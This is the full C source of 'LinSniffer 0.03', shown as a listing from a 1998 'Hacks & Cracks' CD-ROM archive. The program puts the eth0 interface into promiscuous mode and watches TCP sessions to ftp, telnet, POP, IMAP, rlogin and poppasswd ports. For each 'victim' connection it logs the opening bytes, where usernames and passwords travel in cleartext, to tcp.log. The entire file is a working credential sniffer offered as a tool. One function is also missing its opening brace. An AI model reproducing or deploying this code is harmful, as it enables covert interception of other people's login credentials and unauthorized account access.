home *** CD-ROM | disk | FTP | other *** search
/ Hacks & Cracks / Hacks_and_Cracks.iso / hackersclub / km / downloads / c_scripts / linsniff.c < prev    next >
C/C++ Source or Header  |  1998-03-25  |  5KB  |  241 lines

  1. /*
  2. LinSniffer 0.03 [BETA]
  3. Mike Edulla
  4. medulla@infosoc.com
  5. */
  6.  
  7.  
  8. #include <sys/types.h>
  9. #include <sys/socket.h>
  10. #include <sys/time.h>
  11. #include <netinet/in.h>
  12. #include <netdb.h>
  13. #include <string.h>
  14. #include <linux/if.h>
  15. #include <signal.h>
  16. #include <stdio.h>
  17. #include <arpa/inet.h>
  18. #include <linux/socket.h>
  19. #include <linux/ip.h>
  20. #include <linux/tcp.h>
  21. #include <linux/if_ether.h>
  22.  
  23.  
  24. int openintf(char *);
  25. int read_tcp(int);
  26. int filter(void);
  27. int print_header(void);
  28. int print_data(int, char *);
  29. char *hostlookup(unsigned long int);
  30. void clear_victim(void);
  31. void cleanup(int);
  32.  
  33.  
  34. struct etherpacket
  35. {
  36.    struct ethhdr eth;
  37.    struct iphdr  ip;
  38.    struct tcphdr tcp;
  39.    char buff[8192];
  40. }ep;
  41.  
  42. struct
  43. {
  44.    unsigned long      saddr;
  45.    unsigned long      daddr;
  46.    unsigned short     sport;
  47.    unsigned short     dport;
  48.    int                bytes_read;
  49.    char               active;
  50.    time_t             start_time;
  51. } victim;
  52.  
  53. struct iphdr  *ip;
  54. struct tcphdr *tcp;
  55. int s;
  56. FILE *fp;
  57.  
  58. #define CAPTLEN 512
  59. #define TIMEOUT 30
  60. #define TCPLOG "tcp.log"
  61.  
  62. int openintf(char *d)
  63. {
  64.    int fd;
  65.    struct ifreq ifr;
  66.    int s;
  67.    fd=socket(AF_INET, SOCK_PACKET, htons(0x800));
  68.    if(fd < 0)
  69.    {
  70.       perror("cant get SOCK_PACKET socket");
  71.       exit(0);
  72.    }
  73.    strcpy(ifr.ifr_name, d);
  74.    s=ioctl(fd, SIOCGIFFLAGS, &ifr);
  75.    if(s < 0)
  76.    {
  77.       close(fd);
  78.       perror("cant get flags");
  79.       exit(0);
  80.    }
  81.    ifr.ifr_flags |= IFF_PROMISC;
  82.    s=ioctl(fd, SIOCSIFFLAGS, &ifr);
  83.    if(s < 0) perror("cant set promiscuous mode");
  84.    return fd;
  85. }
  86.  
  87. int read_tcp(int s)
  88. {
  89.    int x;
  90.    while(1)
  91.    {
  92.       x=read(s, (struct etherpacket *)&ep, sizeof(ep));
  93.       if(x > 1) 
  94.       {
  95.          if(filter()==0) continue;
  96.          x=x-54;
  97.          if(x < 1) continue;
  98.          return x;
  99.       }
  100.    }
  101. }
  102.  
  103. int filter(void)
  104. {
  105.    int p;
  106.    p=0;
  107.    if(ip->protocol != 6) return 0;
  108.    if(victim.active != 0)   
  109.       if(victim.bytes_read > CAPTLEN)
  110.       {
  111.          fprintf(fp, "\n----- [CAPLEN Exceeded]\n");
  112.          clear_victim();
  113.          return 0;
  114.       }
  115.    if(victim.active != 0)
  116.       if(time(NULL) > (victim.start_time + TIMEOUT))
  117.       {
  118.          fprintf(fp, "\n----- [Timed Out]\n");
  119.          clear_victim();
  120.          return 0;
  121.       }                                                                                                                  
  122.    if(ntohs(tcp->dest)==21)  p=1; /* ftp */
  123.    if(ntohs(tcp->dest)==23)  p=1; /* telnet */
  124.    if(ntohs(tcp->dest)==110) p=1; /* pop3 */
  125.    if(ntohs(tcp->dest)==109) p=1; /* pop2 */
  126.    if(ntohs(tcp->dest)==143) p=1; /* imap2 */
  127.    if(ntohs(tcp->dest)==513) p=1; /* rlogin */
  128.    if(ntohs(tcp->dest)==106) p=1; /* poppasswd */
  129.    if(victim.active == 0)
  130.       if(p == 1)
  131.          if(tcp->syn == 1)
  132.          {
  133.             victim.saddr=ip->saddr;
  134.             victim.daddr=ip->daddr;
  135.             victim.active=1;
  136.             victim.sport=tcp->source;
  137.             victim.dport=tcp->dest;
  138.             victim.bytes_read=0;
  139.             victim.start_time=time(NULL);
  140.             print_header();
  141.          }  
  142.    if(tcp->dest != victim.dport) return 0;
  143.    if(tcp->source != victim.sport) return 0;
  144.    if(ip->saddr != victim.saddr) return 0;
  145.    if(ip->daddr != victim.daddr) return 0;
  146.    if(tcp->rst == 1) 
  147.    {
  148.       victim.active=0;
  149.       alarm(0);
  150.       fprintf(fp, "\n----- [RST]\n");
  151.       clear_victim();
  152.       return 0;
  153.    }
  154.    if(tcp->fin == 1) 
  155.    {
  156.       victim.active=0;
  157.       alarm(0);
  158.       fprintf(fp, "\n----- [FIN]\n");
  159.       clear_victim();
  160.       return 0;
  161.    }
  162.    return 1;
  163. }
  164.  
  165.    
  166. int print_header(void)
  167. {
  168.    fprintf(fp, "\n");
  169.    fprintf(fp, "%s => ", hostlookup(ip->saddr));
  170.    fprintf(fp, "%s [%d]\n", hostlookup(ip->daddr), ntohs(tcp->dest));   
  171. }
  172.  
  173. int print_data(int datalen, char *data)
  174. {
  175.    int i=0;
  176.    int t=0;
  177.    
  178.    victim.bytes_read=victim.bytes_read+datalen;
  179.    for(i=0;i != datalen;i++)
  180.    {
  181.       if(data[i] == 13) { fprintf(fp, "\n"); t=0; }
  182.       if(isprint(data[i])) {fprintf(fp, "%c", data[i]);t++;}
  183.       if(t > 75) {t=0;fprintf(fp, "\n");}
  184.    }
  185. }
  186.  
  187.  
  188. main(int argc, char **argv)
  189. {
  190.    s=openintf("eth0");
  191.    ip=(struct iphdr *)(((unsigned long)&ep.ip)-2);
  192.    tcp=(struct tcphdr *)(((unsigned long)&ep.tcp)-2);   
  193.    signal(SIGHUP, SIG_IGN);
  194.    signal(SIGINT, cleanup);
  195.    signal(SIGTERM, cleanup);
  196.    signal(SIGKILL, cleanup);
  197.    signal(SIGQUIT, cleanup);
  198.    if(argc == 2) fp=stdout;
  199.    else fp=fopen(TCPLOG, "at");
  200.    if(fp == NULL) { fprintf(stderr, "cant open log\n");exit(0);}
  201.    clear_victim();
  202.    for(;;)
  203.    {
  204.       read_tcp(s);
  205.       if(victim.active != 0) print_data(htons(ip->tot_len)-sizeof(ep.ip)-sizeof(ep.tcp), ep.buff-2);
  206.       fflush(fp);      
  207.    }   
  208. }
  209.  
  210. char *hostlookup(unsigned long int in)
  211.    static char blah[1024];
  212.    struct in_addr i;
  213.    struct hostent *he;
  214.    
  215.    i.s_addr=in;
  216.    he=gethostbyaddr((char *)&i, sizeof(struct in_addr),AF_INET);
  217.    if(he == NULL) strcpy(blah, inet_ntoa(i));
  218.    else strcpy(blah, he->h_name);
  219.    return blah;
  220. }
  221.  
  222. void clear_victim(void)
  223. {
  224.    victim.saddr=0;
  225.    victim.daddr=0;
  226.    victim.sport=0;
  227.    victim.dport=0;
  228.    victim.active=0;
  229.    victim.bytes_read=0;
  230.    victim.start_time=0;
  231. }
  232.  
  233. void cleanup(int sig)
  234. {
  235.    fprintf(fp, "Exiting...\n");
  236.    close(s);
  237.    fclose(fp);
  238.    exit(0);
  239. }
  240.